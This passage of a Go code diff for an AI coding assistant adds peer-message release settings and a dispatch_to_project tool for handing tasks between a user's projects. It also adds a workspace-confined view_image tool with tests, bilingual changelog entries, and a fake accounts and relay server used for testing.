@@ -238,6 +240,7 @@ func (c *Controller) peerIngest() {
}
p.held[m.ID] = m
p.order = append(p.order, m.ID)
newlyHeld = append(newlyHeld, m.ID)
perSender[m.From.SessionID]++
audits = append(audits, peermail.AuditRecord{Receiver: key, Sender: m.From.SessionID, ID: m.ID, Decision: peermail.DecisionHeld, Bytes: len(m.Body), SHA256: peermail.Digest(m.Body)})
}
@@ -245,6 +248,20 @@ func (c *Controller) peerIngest() {
for _, a := range audits {
_ = p.dir.Audit(a)
}
c.releaseHeldPeerMessages(newlyHeld)
}
// releaseHeldPeerMessages approves what just arrived when the user's own file
// lists this session's project. Only the asking is skipped: the message is the
// same follow-up an approval would queue, and what it starts runs under this
// session's own approvals and sandbox.
func (c *Controller) releaseHeldPeerMessages(ids []string) {
if len(ids) == 0 || !config.LoadForEdit(config.UserConfigPath()).PeersReleasedProject(c.WorkspaceRoot()) {
return
}
for _, id := range ids {
_ = c.resolvePeerMessage(id, true, true)
}
}
// PeersEnabled reports whether this controller publishes and reads a spool.
@@ -272,6 +289,12 @@ func (c *Controller) HeldPeerMessages() []PeerHeld {
// acknowledged only after the queue holds it, and the queue de-duplicates on the
// message id, so a crash between the two re-asks and never delivers twice.
func (c *Controller) ResolvePeerMessage(id string, approve bool) error {
return c.resolvePeerMessage(id, approve, false)
}
// resolvePeerMessage is ResolvePeerMessage; released records that the user's own
// file let this project take the message without a card, which the audit says.
func (c *Controller) resolvePeerMessage(id string, approve, released bool) error {
p := c.peers
if p == nil || p.dir == nil {
return ErrPeersDisabled
@@ -305,6 +328,9 @@ func (c *Controller) ResolvePeerMessage(id string, approve bool) error {
return err
}
decision = peermail.DecisionApproved
if released {
decision = peermail.DecisionReleased
}
if !c.Running() {
c.maybeDispatchInbox()
}
@@ -28,11 +28,17 @@ func (d peerDirectory) SendPeerMessage(to, text string) (tool.PeerReceipt, error
return tool.PeerReceipt{ID: r.ID, To: tool.PeerView{Key: r.To.Key, Title: r.To.Title, Project: r.To.Project}}, nil
}
// fmtPeerError leads with the error's identity, as the send path does.
func fmtPeerError(err error) error { return fmt.Errorf("%s: %w", peerErrorCode(err), err) }
func peerErrorCode(err error) string {
for code, sentinel := range map[string]error{
"peer.disabled": ErrPeersDisabled, "peer.not_found": ErrPeerNotFound, "peer.ambiguous": ErrPeerAmbiguous,
"peer.self": ErrPeerSelf, "peer.refused": ErrPeerRefused, "peer.rate_limited": ErrPeerRateLimited,
"peer.empty": ErrPeerEmpty, "peer.too_large": ErrPeerTooLarge,
"dispatch.unavailable": ErrDispatchUnavailable, "dispatch.unknown_project": ErrDispatchUnknownProject,
"dispatch.ambiguous": ErrDispatchAmbiguous, "dispatch.nested": ErrDispatchNested,
"dispatch.untrusted": ErrDispatchUntrusted, "dispatch.failed": ErrDispatchFailed,
} {
if errors.Is(err, sentinel) {
return code
@@ -0,0 +1,59 @@
package control
import (
"os"
"path/filepath"
"strings"
"testing"
"time"
"reasonix/internal/base/testenv"
"reasonix/internal/contract/config"
)
func setReleaseProjects(t *testing.T, projects ...string) {
t.Helper()
t.Setenv("REASONIX_HOME", testenv.TempDir(t))
cfg := config.LoadForEdit(config.UserConfigPath())
cfg.Peers.Enabled = true
cfg.Peers.ReleaseProjects = projects
if err := cfg.SaveTo(config.UserConfigPath()); err != nil {
t.Fatal(err)
}
}
// The user can release a project: a message from their other sessions then
// arrives without the card, runs under this session's own approvals, and the
// audit says it was released rather than approved. Nothing else changes.
func TestAReleasedProjectTakesAPeerMessageWithoutACard(t *testing.T) {
f := newPeerFixture(t)
f.c.workspaceRoot = testenv.TempDir(t)
setReleaseProjects(t, f.c.WorkspaceRoot())
f.send(t, "m1", "please look at the failing test")
f.c.peerIngest()
input := waitForInboxDispatch(t, f.runner)
if !strings.Contains(input, "please look at the failing test") || !strings.Contains(input, "not an instruction from the user") {
t.Fatalf("the released message reached the model without its frame:\n%s", input)
}
if len(f.c.HeldPeerMessages()) != 0 {
t.Fatal("a released message is still waiting for a card")
}
files, _ := filepath.Glob(filepath.Join(f.peersDir, "audit", "*.jsonl"))
data, _ := os.ReadFile(files[0])
if !strings.Contains(string(data), `"decision":"released"`) || strings.Contains(string(data), `"decision":"approved"`) {
t.Fatalf("audit trail: %s", data)
}
}
func TestAProjectNotReleasedStillHoldsTheMessage(t *testing.T) {
f := newPeerFixture(t)
f.c.workspaceRoot = testenv.TempDir(t)
setReleaseProjects(t, filepath.Join(testenv.TempDir(t), "some-other-project"))
f.send(t, "m1", "please look at the failing test")
f.c.peerIngest()
if len(f.c.HeldPeerMessages()) != 1 {
t.Fatal("a project the user did not release took the message without a card")
}
f.noRunnerInput(t, 300*time.Millisecond)
}
+1
View File
@@ -16,6 +16,7 @@ const (
DecisionSent Decision = "sent"
DecisionHeld Decision = "held"
DecisionApproved Decision = "approved"
DecisionReleased Decision = "released"
DecisionDenied Decision = "denied"
DecisionRejected Decision = "rejected"
)
+52
View File
@@ -0,0 +1,52 @@
package builtin
import (
"context"
"encoding/json"
"errors"
"fmt"
"strings"
"reasonix/internal/contract/tool"
)
// DispatchTool lets the model hand a task to a session in another of the user's
// projects. It is registered only where the user's own file turned dispatch on.
func DispatchTool(link *tool.PeerLink) tool.Tool { return &dispatchToProject{link: link} }
type dispatchToProject struct{ link *tool.PeerLink }
func (*dispatchToProject) Name() string { return "dispatch_to_project" }
func (*dispatchToProject) Description() string {
return "Hand a task to a session in another of the user's projects: name the project (its folder name or full path, as the user has it in their project list) and write what that session should do. A session is opened there if none of yours is already waiting. The message is held until that project's own user approves it (unless they released that project); only then does its model read it, labelled as coming from you, and it works under its own permissions, not yours. It is for passing a task and its context, not a way to write into that project yourself. You get the receiving session's key; it can answer you with send_peer_message. Do not include secrets."
}
func (*dispatchToProject) Schema() json.RawMessage {
return json.RawMessage(`{"type":"object","properties":{"project":{"type":"string","description":"The project's folder name or full path, as it appears in the user's project list"},"text":{"type":"string","description":"The task and the context the other session needs"}},"required":["project","text"],"additionalProperties":false}`)
}
func (*dispatchToProject) ReadOnly() bool { return false }
func (t *dispatchToProject) Execute(ctx context.Context, args json.RawMessage) (string, error) {
var in struct {
Project string `json:"project"`
Text string `json:"text"`
}
if err := json.Unmarshal(args, &in); err != nil {
return "", fmt.Errorf("dispatch_to_project needs {\"project\", \"text\"}: %w", err)
}
if strings.TrimSpace(in.Project) == "" || strings.TrimSpace(in.Text) == "" {
return "", errors.New("peer.empty: dispatch_to_project needs a project and some text")
}
dir, ok := t.link.Directory()
if !ok {
return "", errors.New("peer.disabled: messages between sessions are not available in this session")
}
d, ok := dir.(tool.ProjectDispatcher)
if !ok {
return "", errors.New("dispatch.unavailable: this session cannot open sessions in other projects")
}
r, err := d.DispatchToProject(ctx, in.Project, in.Text)
if err != nil {
return "", err
}
return fmt.Sprintf("Handed to a session in %q as %s (key %s). It is read only after that project's user approves it; it can answer with send_peer_message to your key.", r.Project, r.ID, r.Key), nil
}
@@ -0,0 +1,69 @@
package builtin
import (
"context"
"encoding/json"
"errors"
"strings"
"testing"
"reasonix/internal/contract/tool"
)
type fakeDispatcher struct {
fakePeers
asked [2]string
err error
}
func (f *fakeDispatcher) DispatchToProject(_ context.Context, project, text string) (tool.DispatchReceipt, error) {
f.asked = [2]string{project, text}
if f.err != nil {
return tool.DispatchReceipt{}, f.err
}
return tool.DispatchReceipt{Project: "/work/billing", Key: "s-9", ID: "m-7"}, nil
}
func dispatchTool(dir tool.PeerDirectory) tool.Tool {
link := &tool.PeerLink{}
if dir != nil {
link.Bind(dir)
}
return DispatchTool(link)
}
func TestDispatchToolHandsTheTaskOverAndReportsWhereItWent(t *testing.T) {
d := &fakeDispatcher{}
tl := dispatchTool(d)
if tl.ReadOnly() {
t.Fatal("handing work to another project is an outward effect, not a read")
}
out, err := tl.Execute(context.Background(), json.RawMessage(`{"project":"billing","text":"rotate the key"}`))
if err != nil || d.asked != [2]string{"billing", "rotate the key"} {
t.Fatalf("out %q err %v asked %v", out, err, d.asked)
}
for _, want := range []string{"/work/billing", "m-7", "s-9", "approves"} {
if !strings.Contains(out, want) {
t.Errorf("result lacks %q: %s", want, out)
}
}
}
func TestDispatchToolRefusalsKeepTheirIdentity(t *testing.T) {
ctx := context.Background()
if _, err := dispatchTool(nil).Execute(ctx, json.RawMessage(`{"project":"b","text":"x"}`)); err == nil || !strings.HasPrefix(err.Error(), "peer.disabled") {
t.Fatalf("unbound = %v, want peer.disabled", err)
}
if _, err := dispatchTool(&fakePeers{}).Execute(ctx, json.RawMessage(`{"project":"b","text":"x"}`)); err == nil || !strings.HasPrefix(err.Error(), "dispatch.unavailable") {
t.Fatalf("a directory that cannot dispatch = %v, want dispatch.unavailable", err)
}
for _, args := range []string{`{"project":"","text":"x"}`, `{"project":"b","text":" "}`} {
if _, err := dispatchTool(&fakeDispatcher{}).Execute(ctx, json.RawMessage(args)); err == nil || !strings.HasPrefix(err.Error(), "peer.empty") {
t.Fatalf("%s = %v, want peer.empty", args, err)
}
}
boom := errors.New("dispatch.untrusted: that project is not one you have trusted")
if _, err := dispatchTool(&fakeDispatcher{err: boom}).Execute(ctx, json.RawMessage(`{"project":"b","text":"x"}`)); !errors.Is(err, boom) {
t.Fatalf("a refusal from the host was changed on the way: %v", err)
}
}
+4 -3
View File
@@ -304,9 +304,10 @@ func (r readFile) scan(src io.Reader, offset, limit int) (string, error) {
// context on hex that answers nothing.
func binaryRefusal(displayPath string, head []byte, external bool) error {
if kind := imageKind(head); kind != "" {
// Only a reference in the user's own message attaches a picture; the
// model writing @path attaches nothing, so it is told to ask.
return fmt.Errorf("%s is a %s image; read_file reads text. A picture reaches a model only when the user's message references it as @%s: an image attached this turn is already seen by a model that reads images, and one that cannot hands it to read_only_task. This one is not viewable unless the user sends it as @%s — ask them to", displayPath, kind, displayPath, displayPath)
// view_image is offered only to a model that reads images; a reference in
// the user's own message also shows one, but the model writing @path
// attaches nothing.
return fmt.Errorf("%s is a %s image; read_file reads text. If view_image is among your tools, use it to see the picture; otherwise it is viewable only when the user's message references it as @%s — writing that yourself attaches nothing, so ask them to", displayPath, kind, displayPath)
}
if external {
return fmt.Errorf("binary file %s (NUL byte detected); not shown by read_file", displayPath)
@@ -11,10 +11,10 @@ import (
"reasonix/internal/base/testenv"
)
// An image on disk cannot be read as text, and the refusal points at the one
// route that works — the user attaching it — instead of promising a delegation
// that would reach a child with no picture.
func TestReadFileImageRefusalAsksTheUserToAttach(t *testing.T) {
// An image on disk cannot be read as text, and the refusal points at the routes
// that work (view_image where offered, the user attaching it) instead of
// promising a delegation that would reach a child with no picture.
func TestReadFileImageRefusalPointsAtTheRoutesThatWork(t *testing.T) {
dir := testenv.TempDir(t)
png := append([]byte("\x89PNG\r\n\x1a\n"), make([]byte, 32)...)
if err := os.WriteFile(filepath.Join(dir, "shot.png"), png, 0o644); err != nil {
@@ -26,7 +26,7 @@ func TestReadFileImageRefusalAsksTheUserToAttach(t *testing.T) {
t.Fatal("an image was returned as text")
}
msg := err.Error()
for _, want := range []string{"PNG image", "sends it as @", "shot.png", "ask them", "attached this turn"} {
for _, want := range []string{"PNG image", "view_image", "references it as @", "shot.png", "ask them"} {
if !strings.Contains(msg, want) {
t.Fatalf("refusal lacks %q: %s", want, msg)
}
+145
View File
@@ -0,0 +1,145 @@
package builtin
import (
"context"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io"
"os"
"path/filepath"
"reasonix/internal/contract/tool"
"reasonix/internal/model/visionimage"
)
// Identities of the refusals view_image owns, so a caller never classifies on a
// sentence.
const (
CodeImageUnsupported = "image.unsupported_type"
CodeImageTooLarge = "image.too_large"
CodeImageUnfit = "image.unfit"
)
// viewImageMaxBytes bounds the file read before it is decoded.
const viewImageMaxBytes = int64(20) << 20
// ViewImage is the view_image tool bound to the workspace's read boundary. It is
// not a global built-in: a session offers it only when its model reads images,
// so every other session's tool block stays as it was.
func (w Workspace) ViewImage() tool.Tool {
readRoots := realRoots(w.ReadRoots)
if len(w.ReadRoots) > 0 && len(readRoots) == 0 {
readRoots = []string{filepath.Join(string(filepath.Separator), "\x00unresolved")}
}
return viewImage{workDir: w.Dir, netRoots: networkRoots(w.Dir, w.WriteRoots, w.ReadRoots), readRoots: readRoots,
paths: w.ReadPaths, forbidRoots: realRoots(w.ForbidReadRoots)}
}
// viewImage shows the model a picture that is a file in the workspace. It reads
// one confined file, decides its type from its bytes, fits it to what vision
// hosts accept, and returns it on the tool's image channel.
type viewImage struct {
workDir string
netRoots []string
readRoots []string
paths *PathResolver
forbidRoots []string
// maxBytes is for tests; zero means the real bound.
maxBytes int64
}
func (viewImage) Name() string { return "view_image" }
func (viewImage) ReadOnly() bool { return true }
func (viewImage) Description() string {
return "Look at an image file (PNG, JPEG, GIF or WebP) in the workspace: the picture itself is shown to you, not a description. Needs a model that reads images."
}
func (viewImage) Schema() json.RawMessage {
return json.RawMessage(`{"type":"object","properties":{"path":{"type":"string"}},"required":["path"],"additionalProperties":false}`)
}
func (v viewImage) Execute(ctx context.Context, args json.RawMessage) (string, error) {
text, _, err := v.ExecuteWithImages(ctx, args)
return text, err
}
func (v viewImage) ExecuteWithImages(_ context.Context, args json.RawMessage) (string, []string, error) {
var p struct {
Path string `json:"path"`
}
if err := json.Unmarshal(args, &p); err != nil {
return "", nil, fmt.Errorf("invalid args: %w", err)
}
if p.Path == "" {
return "", nil, errors.New("path is required")
}
rp := resolveReadablePath(v.workDir, p.Path, v.paths)
if err := v.refuse(rp); err != nil {
return "", nil, err
}
raw, err := v.read(rp)
if err != nil {
return "", nil, err
}
mime := visionimage.DetectMime(raw)
if mime == "" {
return "", nil, tool.Refusal{Code: CodeImageUnsupported, Message: fmt.Sprintf("%s is not a PNG, JPEG, GIF or WebP image (its bytes look like %q)", rp.DisplayPath, visionimage.Sniff(raw))}
}
fitted, fittedMime, err := visionimage.Fit(raw, mime)
if err != nil {
return "", nil, tool.Refusal{Code: CodeImageUnfit, Message: fmt.Sprintf("%s cannot be shown: %v", rp.DisplayPath, err)}
}
text := fmt.Sprintf("[image: %s, %s, %d bytes shown]", rp.DisplayPath, fittedMime, len(fitted))
return text, []string{"data:" + fittedMime + ";base64," + base64.StdEncoding.EncodeToString(fitted)}, nil
}
func (v viewImage) refuse(rp ResolvedPath) error {
if err := rp.refuseNetwork(v.netRoots); err != nil {
return err
}
if err := confineScope(v.readRoots, rp.Path); err != nil {
return err
}
if confineRead(v.forbidRoots, rp.Path) {
return &os.PathError{Op: "open", Path: rp.Path, Err: os.ErrNotExist}
}
return nil
}
// read opens the file inside the read boundary and reads it whole, up to the
// bound; a file past it is refused before any byte is decoded.
func (v viewImage) read(rp ResolvedPath) ([]byte, error) {
f, err := os.Open(rp.Path)
if err != nil {
return nil, fmt.Errorf("read %s: %w", rp.DisplayPath, err)
}
defer f.Close()
if err := confineOpened(v.readRoots, f); err != nil {
return nil, err
}
st, err := f.Stat()
if err != nil {
return nil, fmt.Errorf("read %s: %w", rp.DisplayPath, err)
}
if st.IsDir() {
return nil, fmt.Errorf("%s is a directory, not an image file", rp.DisplayPath)
}
limit := v.maxBytes
if limit <= 0 {
limit = viewImageMaxBytes
}
if st.Size() > limit {
return nil, tool.Refusal{Code: CodeImageTooLarge, Message: fmt.Sprintf("%s is %d bytes; view_image reads files up to %d bytes", rp.DisplayPath, st.Size(), limit)}
}
raw, err := io.ReadAll(io.LimitReader(f, limit+1))
if err != nil {
return nil, fmt.Errorf("read %s: %w", rp.DisplayPath, err)
}
if int64(len(raw)) > limit {
return nil, tool.Refusal{Code: CodeImageTooLarge, Message: fmt.Sprintf("%s grew past %d bytes while it was read", rp.DisplayPath, limit)}
}
return raw, nil
}
+132
View File
@@ -0,0 +1,132 @@
package builtin
import (
"bytes"
"context"
"encoding/base64"
"encoding/json"
"image"
"image/color"
"image/png"
"os"
"path/filepath"
"strings"
"testing"
"reasonix/internal/base/testenv"
"reasonix/internal/model/visionimage"
)
func writePNG(t *testing.T, path string, w, h int) {
t.Helper()
img := image.NewRGBA(image.Rect(0, 0, w, h))
for x := range w {
img.Set(x, 0, color.RGBA{R: 200, A: 255})
}
var buf bytes.Buffer
if err := png.Encode(&buf, img); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(path, buf.Bytes(), 0o644); err != nil {
t.Fatal(err)
}
}
func viewImageFor(dir string) viewImage {
roots := realRoots([]string{dir})
return viewImage{workDir: dir, readRoots: roots}
}
func viewArgs(path string) json.RawMessage {
b, _ := json.Marshal(map[string]string{"path": path})
return b
}
// The picture itself comes back on the image channel, in the type its bytes
// have, with a text line saying what was shown.
func TestViewImageReturnsThePictureItself(t *testing.T) {
dir := testenv.TempDir(t)
writePNG(t, filepath.Join(dir, "shot.png"), 40, 20)
text, images, err := viewImageFor(dir).ExecuteWithImages(context.Background(), viewArgs("shot.png"))
if err != nil {
t.Fatal(err)
}
if len(images) != 1 || !strings.HasPrefix(images[0], "data:image/png;base64,") {
t.Fatalf("images = %v, want one PNG data URL", images)
}
raw, err := base64.StdEncoding.DecodeString(strings.TrimPrefix(images[0], "data:image/png;base64,"))
if err != nil {
t.Fatal(err)
}
if cfg, _, err := image.DecodeConfig(bytes.NewReader(raw)); err != nil || cfg.Width != 40 || cfg.Height != 20 {
t.Fatalf("returned picture is %v, %v; want the 40x20 original", cfg, err)
}
if !strings.Contains(text, "shot.png") || !strings.Contains(text, "image/png") {
t.Fatalf("text = %q, want the path and type", text)
}
if !(viewImage{}).ReadOnly() {
t.Fatal("viewing a file is a read")
}
}
// A picture larger than a vision host accepts is fitted, not forwarded.
func TestViewImageFitsAnOversizedPicture(t *testing.T) {
dir := testenv.TempDir(t)
writePNG(t, filepath.Join(dir, "wide.png"), visionimage.MaxDim*2, 8)
_, images, err := viewImageFor(dir).ExecuteWithImages(context.Background(), viewArgs("wide.png"))
if err != nil {
t.Fatal(err)
}
_, payload, _ := strings.Cut(images[0], ",")
raw, _ := base64.StdEncoding.DecodeString(payload)
cfg, _, err := image.DecodeConfig(bytes.NewReader(raw))
if err != nil || cfg.Width > visionimage.MaxDim {
t.Fatalf("sent %v (%v), want a width within %d", cfg, err, visionimage.MaxDim)
}
}
// The type is the bytes', never the name's: text wearing .png is refused with
// its identity, and the real type wins over a wrong extension.
func TestViewImageDecidesByBytesAndRefusesWithIdentities(t *testing.T) {
dir := testenv.TempDir(t)
if err := os.WriteFile(filepath.Join(dir, "fake.png"), []byte("just some text, not a picture"), 0o644); err != nil {
t.Fatal(err)
}
writePNG(t, filepath.Join(dir, "real.txt"), 4, 4)
if err := os.Mkdir(filepath.Join(dir, "folder"), 0o755); err != nil {
t.Fatal(err)
}
v := viewImageFor(dir)
if _, _, err := v.ExecuteWithImages(context.Background(), viewArgs("fake.png")); refusalCode(err) != CodeImageUnsupported {
t.Fatalf("text named .png = %v, want %s", err, CodeImageUnsupported)
}
if _, images, err := v.ExecuteWithImages(context.Background(), viewArgs("real.txt")); err != nil || len(images) != 1 {
t.Fatalf("a PNG named .txt = %v, %v; want it shown", images, err)
}
if _, _, err := v.ExecuteWithImages(context.Background(), viewArgs("folder")); err == nil {
t.Fatal("a directory was shown")
}
small := viewImageFor(dir)
small.maxBytes = 10
if _, _, err := small.ExecuteWithImages(context.Background(), viewArgs("real.txt")); refusalCode(err) != CodeImageTooLarge {
t.Fatalf("a file past the bound = %v, want %s", err, CodeImageTooLarge)
}
if _, _, err := v.ExecuteWithImages(context.Background(), json.RawMessage(`{}`)); err == nil {
t.Fatal("no path was accepted")
}
}
// The read boundary is read_file's: nothing outside the roots, nothing forbidden.
func TestViewImageStaysInsideTheReadBoundary(t *testing.T) {
dir, outside, secret := testenv.TempDir(t), testenv.TempDir(t), testenv.TempDir(t)
writePNG(t, filepath.Join(outside, "elsewhere.png"), 4, 4)
writePNG(t, filepath.Join(secret, "key.png"), 4, 4)
v := viewImageFor(dir)
if _, _, err := v.ExecuteWithImages(context.Background(), viewArgs(filepath.Join(outside, "elsewhere.png"))); err == nil {
t.Fatal("a picture outside the read roots was shown")
}
forbidding := viewImage{workDir: dir, readRoots: realRoots([]string{dir, secret}), forbidRoots: realRoots([]string{secret})}
if _, _, err := forbidding.ExecuteWithImages(context.Background(), viewArgs(filepath.Join(secret, "key.png"))); err == nil {
t.Fatal("a picture under a forbidden-read root was shown")
}
}
@@ -0,0 +1,2 @@
- 改进:输入框恢复 1.x 手感:悬停或聚焦时边框扫过一圈光(运行中、系统减弱动画时不播);框内不再印“空闲/运行中”,状态仍读给读屏软件,运行时钟照旧。关联 #13253。
- Improved: the composer border sweeps with light on hover or focus as in 1.x (not while running or with reduced motion); the idle/running word is no longer printed but still announced. Refs #13253.
+2
View File
@@ -0,0 +1,2 @@
- 修复:辅助会话可收起为标题栏以露出正文,展开后保留草稿、引用和回答;收起不会取消正在进行的请求。关联 #13288。
- Fixed: Collapse a side question to read the transcript without losing its draft, quotes, answers or pending request. Refs #13288.
@@ -0,0 +1,2 @@
- 新增(默认关闭):模型可把任务交给你另一个项目里的会话(dispatch_to_project),对方用户批准后才看到。关联 #13341。
- Added, off by default: the model can hand a task to a session in another of your projects (dispatch_to_project); that project's user approves first. Refs #13341.
@@ -0,0 +1,2 @@
- 子代理并发数和并行写者数默认不再限制(原为 6 和 3),可在用户配置里设上限;嵌套深度默认 8,设 0 取消。关联 #13526。
- Sub-agent concurrency and parallel writers are no longer capped by default (were 6 and 3); set limits in your user config. Nesting depth defaults to 8; 0 removes it. Refs #13526.
@@ -0,0 +1,2 @@
- 修复:同一仓库里多个项目声明同名 MCP 服务器(内容不同)时,各自启用互不覆盖,重启后都保持已启用。关联 #13527。
- Fixed: projects of one repository that declare an MCP server by the same name with different contents keep their enables side by side across a restart. Refs #13527.
@@ -0,0 +1,2 @@
- 新增:能读图的模型多了 view_image 工具,可直接看工作区里的 PNG/JPEG/GIF/WebP 文件;不读图的模型不受影响。关联 #13540。
- Added: a model that reads images gets a view_image tool that shows it a PNG, JPEG, GIF or WebP file in the workspace; text-only models are unchanged. Refs #13540.
@@ -0,0 +1,2 @@
- 修复:原目录和隔离目录的会话归入同一项目,并标出实际目录;原目录失效时使用仍存在的目录,手动选择隔离目录仍打开该目录。关联 #13586。
- Fixed: source and worktree chats share one project with checkout labels. A surviving checkout replaces a missing source; picking a worktree still opens it. Refs #13586.
+300
View File
@@ -0,0 +1,300 @@
// Command relayfake stands in for the two services between a hosted page and a
// Studio: the accounts API that registers the Studio and mints a controller's
// grant, and the message relay that carries ciphertext between them. It
// understands routing and nothing else, so everything above it — the page's
// handshake, the encrypted channel, the Studio's host — is the real code.
package main
import (
"crypto/rand"
"encoding/hex"
"encoding/json"
"fmt"
"net"
"net/http"
"os"
"strings"
"sync"
"github.com/gorilla/websocket"
)
type device struct {
ID string `json:"id"`
Name string `json:"name"`
Platform string `json:"platform"`
PublicKey string `json:"publicKey"`
Capabilities []string `json:"capabilities"`
RevokedAt *string `json:"revokedAt"`
}
type controller struct {
id string
conn *websocket.Conn
mu sync.Mutex
}
func (c *controller) write(kind int, payload []byte) error {
c.mu.Lock()
defer c.mu.Unlock()
return c.conn.WriteMessage(kind, payload)
}
type fake struct {
mu sync.Mutex
device *device
credential string
tickets map[string]bool
hostConn *websocket.Conn
hostWrite sync.Mutex
controllers map[string]*controller
upgrader websocket.Upgrader
}
func main() {
f := &fake{
tickets: map[string]bool{},
controllers: map[string]*controller{},
upgrader: websocket.Upgrader{Subprotocols: []string{"reasonix.remote.v1"}, CheckOrigin: func(*http.Request) bool { return true }},
}
listener, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
mux := http.NewServeMux()
mux.HandleFunc("GET /me", f.me)
mux.HandleFunc("GET /me/devices", f.listDevices)
mux.HandleFunc("POST /me/devices", f.registerDevice)
mux.HandleFunc("OPTIONS /me/remote-grants", f.cors(func(http.ResponseWriter, *http.Request) {}))
mux.HandleFunc("POST /me/remote-grants", f.cors(f.grant))
mux.HandleFunc("GET /v1/devices/{id}/connect", f.deviceConnect)
mux.HandleFunc("GET /v1/sessions/connect", f.controllerConnect)
mux.HandleFunc("POST /ctl/drop-controllers", f.dropControllers)
mux.HandleFunc("POST /ctl/drop-device", f.dropDevice)
mux.HandleFunc("GET /ctl/state", f.state)
addr := listener.Addr().String()
out, _ := json.Marshal(map[string]string{"accounts": "http://" + addr, "relay": "ws://" + addr})
fmt.Println(string(out))
if err := http.Serve(listener, mux); err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
func token() string {
raw := make([]byte, 16)
_, _ = rand.Read(raw)
return hex.EncodeToString(raw)
}
func reply(w http.ResponseWriter, status int, body any) {
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(status)
_ = json.NewEncoder(w).Encode(body)
}
func (f *fake) cors(next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", r.Header.Get("Origin"))
w.Header().Set("Access-Control-Allow-Credentials", "true")
w.Header().Set("Access-Control-Allow-Headers", "content-type")
w.Header().Set("Vary", "Origin")
if r.Method == http.MethodOptions {
w.WriteHeader(http.StatusNoContent)
return
}
next(w, r)
}
}
func (f *fake) me(w http.ResponseWriter, _ *http.Request) {
reply(w, http.StatusOK, map[string]any{"user": map[string]any{"id": 1, "handle": "fixture", "email": "[email protected]", "emailVerified": true}})
}
func (f *fake) listDevices(w http.ResponseWriter, _ *http.Request) {
f.mu.Lock()
defer f.mu.Unlock()
devices := []*device{}
if f.device != nil {
devices = append(devices, f.device)
}
reply(w, http.StatusOK, map[string]any{"devices": devices})
}
func (f *fake) registerDevice(w http.ResponseWriter, r *http.Request) {
var in device
if json.NewDecoder(r.Body).Decode(&in) != nil || in.PublicKey == "" {
reply(w, http.StatusBadRequest, map[string]any{"error": map[string]string{"code": "bad_request"}})
return
}
f.mu.Lock()
defer f.mu.Unlock()
in.ID = token() + token()
f.device, f.credential = &in, token()
reply(w, http.StatusOK, map[string]any{"device": f.device, "deviceCredential": f.credential})
}
func (f *fake) grant(w http.ResponseWriter, r *http.Request) {
var in struct {
TargetDeviceID string `json:"targetDeviceId"`
}
_ = json.NewDecoder(r.Body).Decode(&in)
f.mu.Lock()
defer f.mu.Unlock()
if f.device == nil || f.device.ID != in.TargetDeviceID {
reply(w, http.StatusNotFound, map[string]any{"error": map[string]string{"code": "device_not_found"}})
return
}
ticket := token()
f.tickets[ticket] = true
reply(w, http.StatusOK, map[string]any{"grant": map[string]string{"ticket": ticket}, "device": f.device})
}
func (f *fake) deviceConnect(w http.ResponseWriter, r *http.Request) {
f.mu.Lock()
known := f.device != nil && f.device.ID == r.PathValue("id") && r.Header.Get("Authorization") == "Bearer "+f.credential
f.mu.Unlock()
if !known {
http.Error(w, "unknown device", http.StatusUnauthorized)
return
}
conn, err := f.upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
f.mu.Lock()
f.hostConn = conn
f.mu.Unlock()
f.hello()
defer func() {
f.mu.Lock()
if f.hostConn == conn {
f.hostConn = nil
}
f.mu.Unlock()
conn.Close()
}()
for {
_, payload, err := conn.ReadMessage()
if err != nil {
return
}
var directed struct {
To string `json:"to"`
Payload string `json:"payload"`
}
if json.Unmarshal(payload, &directed) != nil || directed.Payload == "" {
continue
}
f.mu.Lock()
target := f.controllers[directed.To]
f.mu.Unlock()
if target != nil {
_ = target.write(websocket.TextMessage, []byte(directed.Payload))
}
}
}
func (f *fake) toHost(message map[string]any) {
wire, _ := json.Marshal(message)
f.mu.Lock()
conn := f.hostConn
f.mu.Unlock()
if conn == nil {
return
}
f.hostWrite.Lock()
defer f.hostWrite.Unlock()
_ = conn.WriteMessage(websocket.TextMessage, wire)
}
func (f *fake) hello() {
f.mu.Lock()
ids := make([]string, 0, len(f.controllers))
for id := range f.controllers {
ids = append(ids, id)
}
f.mu.Unlock()
f.toHost(map[string]any{"type": "relay_hello", "controllers": ids, "heartbeatMs": 20000})
}
func (f *fake) controllerConnect(w http.ResponseWriter, r *http.Request) {
ticket := ""
for _, offered := range websocket.Subprotocols(r) {
if rest, ok := strings.CutPrefix(offered, "reasonix.auth."); ok {
ticket = rest
}
}
f.mu.Lock()
granted, online := f.tickets[ticket] || r.URL.Query().Get("fixture") == "1", f.hostConn != nil
f.mu.Unlock()
if !granted || !online {
http.Error(w, "no grant or device offline", http.StatusServiceUnavailable)
return
}
conn, err := f.upgrader.Upgrade(w, r, nil)
if err != nil {
return
}
c := &controller{id: token(), conn: conn}
f.mu.Lock()
f.controllers[c.id] = c
f.mu.Unlock()
f.toHost(map[string]any{"type": "controller_connected", "connectionId": c.id})
f.hello()
defer func() {
f.mu.Lock()
delete(f.controllers, c.id)
f.mu.Unlock()
conn.Close()
f.toHost(map[string]any{"type": "controller_disconnected", "connectionId": c.id})
f.hello()
}()
for {
kind, payload, err := conn.ReadMessage()
if err != nil {
return
}
if kind != websocket.TextMessage {
continue
}
f.toHost(map[string]any{
"type": "controller_message", "connectionId": c.id,
"scopes": []string{"desktop"}, "payload": string(payload),
})
}
}
func (f *fake) dropControllers(w http.ResponseWriter, _ *http.Request) {
f.mu.Lock()
all := make([]*controller, 0, len(f.controllers))
for _, c := range f.controllers {
all = append(all, c)
}
f.mu.Unlock()
for _, c := range all {
_ = c.conn.Close()
}
reply(w, http.StatusOK, map[string]int{"dropped": len(all)})
}
func (f *fake) dropDevice(w http.ResponseWriter, _ *http.Request) {
f.mu.Lock()
conn := f.hostConn
f.mu.Unlock()
if conn != nil {
_ = conn.Close()
}
reply(w, http.StatusOK, map[string]bool{"dropped": conn != nil})
}
func (f *fake) state(w http.ResponseWriter, _ *http.Request) {
f.mu.Lock()
defer f.mu.Unlock()
id := ""
if f.device != nil {
